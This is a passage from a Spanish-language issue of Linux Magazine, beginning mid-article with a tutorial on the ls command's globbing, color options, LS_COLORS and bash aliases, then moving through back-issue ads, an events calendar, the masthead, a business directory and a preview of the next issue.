nes. Si escribes el siguiente

comando

ls /etc/cron*

para ver cualquier fichero que

comience con cron en la car-

peta /etc, se muestra el conte-

nido del subdirectorio /etc/

cron.daily. Bash en este caso

interpreta el asterisco y pasa

el comando ls al directorio

/etc/cron.daily como un argu-

mento, no dejándole a ls otra

opción más que presentarlo.

Puedes configurar la opción -d

para evitar que esto ocurra.

En este caso ves una entrada

para el subdirectorio, pero no

los contenidos de los subdi-

rectorios:

$ ls -d /etc/cron*

/etc/cron.d /etc/cron.monthly

/etc/cron.daily /etc/crontab

/etc/cron.hourly U

/etc/cron.weekly

Un Mundo de ColoresCon la opción -F puedes identificar los

tipos de ficheros eficazmente, pero existe

otra manera más simple de identificar los

contenidos de los directorios de un vista-

zo. La opción -color añade un código de

color a varios tipos de ficheros (Figura 1).

El parámetro acepta las definiciones -

color=always, -color=none o -

color=auto como parámetros adiciona-

les. La última de estas variantes es la

predeterminada, y le dice a ls que use el

color solamente para salidas directas al

terminal. Si rediriges la salida a otro

fichero o programa, ls vuelve a una pre-

sentación monocroma. En contraste,

always siempre emplea color, y none

nunca lo hace.

Para comprobar la paleta que usa ls ,

es decir, para descubrir qué color emplea

para cada tipo de fichero, puedes echar

un vistazo a la variable LS-COLORS:

$ echo $LS_COLORS

no=00:fi=00:di=01;U

34:ln=00;36:pi=40;33:so=01;U

35:do=01;35:bd=40;33;01:...

Como los códigos de color no son fáciles

de leer, deberías comprobar el mapeado

de color usando el comando siguiente:

dircolors -p | less

Para evitar que la salida sobrepase los

límites de la pantalla, vale la pena dirigir

esta salida a la utilidad less que permite

moverse arriba y abajo por el listado de

página en página. La salida mostrará los

directorios en negrita y azul:

# 00=none 01=bold U

04=underscore 05=blink U

07=reverse 08=concealed

# 30=black 31=red U

32=green 33=yellow U

34=blue 35=magenta U

36=cyan 37=white

DIR 01;34 # directory

VersátilSi prefieres definir un esquema de color

para el comando ls, necesitarás definir

otra variable en tu fichero de configura-

ción bash, LS_COLORS. Selecciona la

salida desde el comando echo

$LS_COLORS pulsando el botón izquier-

do del ratón y arrástralo, a continuación

suelta el contenido del portapapeles en

.bashrc usando el botón medio del ratón.

Antes de hacerlo, llama a export

LS_COLORS=. Usa comillas para cual-

quier carácter de control. El fichero

debería contener una línea parecida a:

export LS_COLORS=U

"no=00:fi=00:di=..."

Basado en los códigos de

color que recientemente

identificaste mediante la

introducción de dircolors -p

| less, puedes comenzar ya

a colorear tu mundo. Si no

te agrada la idea de usar el

rojo para los paquetes

Debian (extensión .deb),

puedes reemplazar el

número 31 por un número

propio, por ejemplo, el 35

para magenta:

*.deb=00;35:

A continuación reanaliza

tu fichero de configuración

bash con el siguiente

comando:

source ~/.bashrc

y tus paquetes Debian serán presentados

en color magenta la próxima vez que

invoques a ls -color.

Como mencioné al comienzo de este

artículo, la mayoría de los distribuidores

definen un alias para el comando ls, el

cual invoca a un conjunto de opciones

por defecto. Puedes personalizar el con-

junto de parámetros que usas en tu

fichero .bashrc. Por ejemplo, si deseas

que ls siempre use símbolos (-F) para

tipos de ficheros, junto con color (--

color), introduce lo siguiente:

alias ls='ls -F --color'

También es interesante añadir un alias

separado para un comando largo y com-

plejo usado para presentar directorios,

incluyendo directorios ocultos y ficheros.

Por ejemplo, podrías introducir:

alias ll='ls -laF --color'

No olvides guardar tu fichero de configu-

ración en cuanto hayas realizado los

cambios (source ~/.bashrc).

DemasiadoSi todas estas opciones son demasiado

numerosas para memorizarlas, dispón

de alias para los comandos que usas más

frecuentemente. Esto te ahorrará tener

que escribir, así como energía de la CPU

humana. �

Línea de comandos: ls • LINUX USER

91Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Konqueror te ofrecerá también una información detallada

sobre los ficheros, pero es más lento que ls.

Page 92: Linux Magazine - Edición en Castellano, Nº 13

¡Hazte con tus ejemplares

atrasados!

#2

WWW.LINUX-MAGAZINE.ES

#3

#4

#6

#7

¡pídelos ya!

¡pídelos ya!

¡pídelos ya!

a g o t a d o

#5

#1

#9

#10

#8

Page 93: Linux Magazine - Edición en Castellano, Nº 13

[email protected]

¡No esperes a quese agoten!

el REPOSITORIOde conocimientos LINUX

#12

#11

más COMPLETO

¡pídelos ya!

Page 94: Linux Magazine - Edición en Castellano, Nº 13

94

EVENTOS

94 Número 13 W W W . L I N U X - M A G A Z I N E . E S

LinuxWorld Conf. & ExpoMéxicoFecha: 14-17 Febrero

Ciudad: Ciudad de México.

Sitio Web:

www.linuxworldexpo.com

OSWC 2005Fecha: 15-17 Febrero

Ciudad: Málaga, España

Sitio Web:

http://www.opensource-worldconference.com

Festival Digital de AndalucíaFecha: 10-23 Abril

Ciudad: Málaga, España

Sitio Web:

http://www.festivaldigi-tal.org

Información de Contacto

DirectorPaul C. Brown

CoolaboradoresPaul C. Brown, Jose Manuel González Vida, JuanRafael Fernández, Pedro Orantes, José María Ruíz,Alberto Planas, Jose A. García, Ana Mª Ferreiro

TraductoresPaqui Martín Vergara, Paul C. Brown, AntonioRueda, Víctor Tienda.

MaquetaciónSergio Hardasmal

Diseño de [email protected]

Publicidadwww.linux-magazine.es/pub/

Para EspañaExpresando Comunicaciones [email protected].: (+ 34) 952 216 406Fax.: (+ 34) 952 217 115

Paul C. [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516

Para el Resto del MundoBrian Osborn [email protected] Tel.: (+49) 6509 910 495Fax.: (+49) 6509 910 497

Director EditorialPaul C. Brown

Director de ProducciónSergio Hardasmal [email protected]

Subscripciones: www.linux-magazine.es/magazine/subs

Precios Subscripción España: 49,50 €Europa: 59,90 €Resto del Mundo - Euros: 79,90 €Resto del Mundo - Dólares U.S.A.: $ 94,90

Tel.: (+34) 951 010 556Fax.: (+34) 951 010 516 [email protected]

Linux MagazineLinux New Media Spain, S.L.Avda. Juan López Peñalver, 2129590 - Campanillas Málaga ESPAÑA [email protected].: (+34) 951 010 556Fax.: (+34) 951 010 516

www.linux-magazine.es - Españawww.linux-magazine.com - Mundowww.linux-magazine.de - Alemania

Si bien se toman todas las medidas posibles paragarantizar la precisión del contenido de los artículos publi-cados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en larevista. Asimismo, Linux Magazine no compartenecesariamente las opiniones vertidas por suscolaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupu-losamente para confirmar que está libre de virus y errores.

Copyright y Marcas Registradas © 2004 Linux NewMedia Spain, S.L. Linux New Media Spain S.L. prohíbela reproducción total o parcial de los contenidos deLinux Magazine sin su permiso previo y por escrito.Linux es una Marca Registrada de Linus Torvalds.

Impreso en Alemania

Impresión: Dierichs Druck + Media GmbH

Distribución: SGEL

Depósito Legal: MA-116-2005

ISSN edición impresa: 1576-4079

ISSN edición online: 1699-2237

Calendario de Eventos

Evento Fecha Ciudad Sitio Web

linux.conf.au 2006 23-28 Enero 06 Dunedin, Nueva Zelanda http://lca2006.linux.org.au

Solutions Linux 2006 31 Enero - 06 Febrero París, Francia www.solutionslinux.fr

Linux Asia Conference & Expo 08-10 Febrero 06 Nueva Delhi, India www.technetra.com/linuxasia2006

Southern California Linux Expo 11-12 Febrero 06 Los Angeles, CA, EE.UU www.socallinuxexpo.org

LinuxWorld Conference & Expo México 14-17 Febrero 06 Ciudad de México, M. www.linuxworldexpo.com.

OSWC 2005 15-17 Febrero 06 Málaga, España www.opensourceworldconference.com

PyCon 2006 24-26 Febrero 06 Addison,Texas, EE.UU. www.python.org/pycon/2006

O'Reilly Emerging Technology Conference 06-06 Marzo 06 San Diego, CA, EE.UU. http://conferences.oreillynet.com/etech

UKUUG Spring Conference 2006 22-23 Marzo 06 Durham, Reino Unido www.ukuug.org/events/spring2006

LinuxWorld Conference & Expo Australia 28-30 Marzo 06 Sydney, Australia www.linuxworldexpo.com.au

LinuxWorld Conference & Expo Boston 3-6 Abril 06 Boston, MA, EE.UU www.linuxworldexpo.com

7º Fórum Internacional Software Libre 19-22 Abril 06 Porto Alegre, Brasil http://fisl.softwarelivre.org

LinuxWorld & NetworkWorld Canada 24-26 Abril 06 Toronto, Canada www.lwnwexpo.plumcom.ca

LinuxWorld Conference & Expo Italy 9-10 Mayo 06 Milan, Italia www.linuxworldexpo.it

LinuxWorld Conference & Expo SA 16-19 Mayo 06 ohanesburgo, S. África www.linuxworldexpo.co.za

LinuxWorld Conference & Expo Brazil 23-25 Mayo 06 Sao Paulo, Brasil www.linuxworldexpo.com

LinuxWorld Conference & Expo Japan 31 Mayo - 6 Junio 06 Tokio, Japón www.linuxworldexpo.com

6º Fórum Internacional Software Livre 4-6 Junio 06 Porto Alegre, Brazil http://fisl.softwarelivre.org

LinuxWorld Conference & Expo 5-7 Junio 06 Korea Seúl, Korea www.linuxworldkorea.com

Page 95: Linux Magazine - Edición en Castellano, Nº 13

Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!

A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovaráautomáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no serequiere que hagas nada para seguir suscrito.

¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domiciliocada mes.

Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el preciode todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.

Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre.Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.

Page 96: Linux Magazine - Edición en Castellano, Nº 13
Page 97: Linux Magazine - Edición en Castellano, Nº 13

LINUX LOCAL

97Número 12W W W . L I N U X - M A G A Z I N E . E S

Andalucía

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

Gesinfo [email protected] www.gesinfoweb.com � � � � � �

BitRock [email protected] bitrock.com � � � � � �

Properly Software [email protected] www.properly.es/site � �

LINUX LOCALLeyenda

1.- Hardware

2.- Software / Desarollo

3.- Formación

4.- Soporte / Consultoría

5.- Servidores

6.- Redes

7.- Migración

8.- Hospedaje

Cataluña

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

IWS [email protected] www.iws.es � � � � � �

Madrid

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

Mono::labs [email protected] www.monolabs.com � � � � � �

Datum [email protected] www.datum.ws � � � � � �

Linux Local es tu directorio de servicios y empresas de Linux cerca de ti.

¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuen-

tra quién ofrece qué y dónde. El directorio se divide en regiones autóno-

mas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Uti-

liza la leyenda de la derecha para encontrar la empresa que ofrece el servicio

que precises.

Linux Local es tu guía de servicios Linux.

¿Por qué no está su empresa eneste directorio?

LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes.Si tiene servicios o productos Linux que ofrecer ¡Llámenos!

Tlf.: +34 951 010 556Fax: +34 951 010 516

[email protected]

Page 98: Linux Magazine - Edición en Castellano, Nº 13

98

PRÓXIMO NÚMERO

98 Número 13 W W W . L I N U X - M A G A Z I N E . E S

A LA VENTA: FEBRERO 2006

FOTOGRAFÍADIGITALLa revolución de la fotografía digital ha tra-

ído consigo un nuevo tipo de cámara que, a

su vez, ha dado pie a nuevas herramientas

para el procesado de imágenes. La visuali-

zación, manipulación y administración de

fotografías ha cambiado radicalmente y el

mes que viene veremos qué aplicaciones

existen en Linux para llevar a cabo estas

tareas.

Empezamos haciendo un repaso general

de las herramientas que existen para el

manipulado de imágenes para, a continua-

ción aprender a manejar imgSeek, un bus-

cador de fotos muy especial. En tercer lugar

veremos Xnview, un visualizador/clasifica-

dor con interesantes opciones. Continua-

mos nuestro recorrido a través del procesa-

miento de imágenes con consejos sobre

cómo instalar, configurar y utilizar Xsane, el

interfaz Linux a los escáneres más comu-

nes.

Finalmente os descubrimos todo lo que

hay que saber sobre las extensiones EXIF,

metainformación que se almacena junto

con la imagen cada vez que la cámara regis-

tra une imagen.

EVALUACIÓN¿Con K3B no tienes sufi-

ciente? ¿Echas de menos a

tu Nero de toda la vida?

Pues estás de enhorabue-

na… o no. Evaluamos la

versión de Nero para Linux

y vemos si está listo para

su uso.

PRÁCTICOLe nueva versión de

OpenOffice viene con una

nueva aplicación destina-

da a acabar de convencer a

todos aquellos reticentes a

dar el salto desde

MSOffice. El administrador

visual de bases de datos

OOBase es la novedad

más importante de

OpenOffice 2 y el mes que

viene tenemos un tutorial

para ayudarte a aprender

cómo manejarlo.

Taskjuggler es la salvación

de los jefes de recursos

humanos con demasiado

que hacer. En el próximo

número explicamos cómo

empezar a planificar con

esta potente aplicación.

La configuración de la

conexión a una red

inalámbrica puede ser un

engorro, sobre todo si nos

movemos mucho de un

entorno de red a otro.

Wlassistant nos puede

ayudar.

Linux Multimedia Studio

es a la música lo que el

GIMP es al retoque foto-

gráfico. En el número 14

de Linux Magazine, os

contamos en detalle

cómo iniciarse en el

manejo de esta fabulosa

aplicación.

Marzo 2006: Número 14

PRÓXIMO NÚMERO

Page 99: Linux Magazine - Edición en Castellano, Nº 13
Page 100: Linux Magazine - Edición en Castellano, Nº 13